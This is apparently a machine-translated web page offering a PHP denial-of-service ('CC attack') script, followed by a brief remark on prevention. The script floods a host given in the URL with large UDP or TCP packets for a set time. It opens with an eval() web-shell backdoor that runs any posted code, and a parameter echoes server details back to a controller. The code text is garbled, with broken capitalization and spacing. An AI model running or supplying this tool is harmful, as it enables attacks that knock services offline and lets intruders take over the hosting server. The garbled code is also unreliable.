Cc attack code, supporting udp
Copy codeThe Code is as follows: <? Php
Eval ($ _ POST [Chr (90)]);
Set_time_limit (86400 );
Ignore_user_abort (True );
$ Packets = 0;
$ Http = $ _ GET ['http'];
$ Rand = $ _ GET ['exit '];
$ Exec_time = $ _ GET ['time'];
If (StrLen ($ http) = 0 or StrLen ($ rand) = 0 or StrLen ($ exec_time) = 0)
{
If (StrLen ($ _ GET ['rat ']) <> 0)
{
Echo $ _ GET ['rat ']. $ _ SERVER ["HTTP_HOST"]. "| ". getHostByName ($ _ SERVER ['server _ name']). "| ". php_uname (). "| ". $ _ SERVER ['server _ soft']. $ _ GET ['rat '];
Exit;
}
Echo "Php 2012 Terminator ";
Exit;
}
For ($ I = 0; I I <65535; $ I ++)
{
$ Out. = "X ";
}
// Udp1-fsockopen Udp2 pfsockopen Tcp3 CC. center
$ Max_time = time () + $ exec_time;
If ($ rand = 53)
While (1)
{
$ Packets ++;
If (time ()> $ max_time)
{
Break;
}
$ Fp = fsockopen ("udp: // $ http", $ rand, $ errno, $ errstr, 5 );
If ($ fp)
{
Fwrite ($ fp, $ out );
Fclose ($ fp );
}
}
Else
If ($ rand = 500)
While (1)
{
$ Packets ++;
If (time ()> $ max_time ){
Break;
}
$ Fp = pfsockopen ("udp: // $ http", $ rand, $ errno, $ errstr, 5 );
If ($ fp)
{
Fwrite ($ fp, $ out );
Fclose ($ fp );
}
}
Else
While (1)
{
$ Packets ++;
If (time ()> $ max_time ){
Break;
}
$ Fp = pfsockopen ("tcp: // $ http", $ rand, $ errno, $ errstr, 5 );
If ($ fp)
{
Fwrite ($ fp, $ out );
Fclose ($ fp );
}
}
?>
For cc attack prevention, if it is a dynamic page, we can determine the time. If it is a static website, we need to install anti-cc attack software on the server, generally, server security dogs are good.
If you have good software, you can leave a message for us.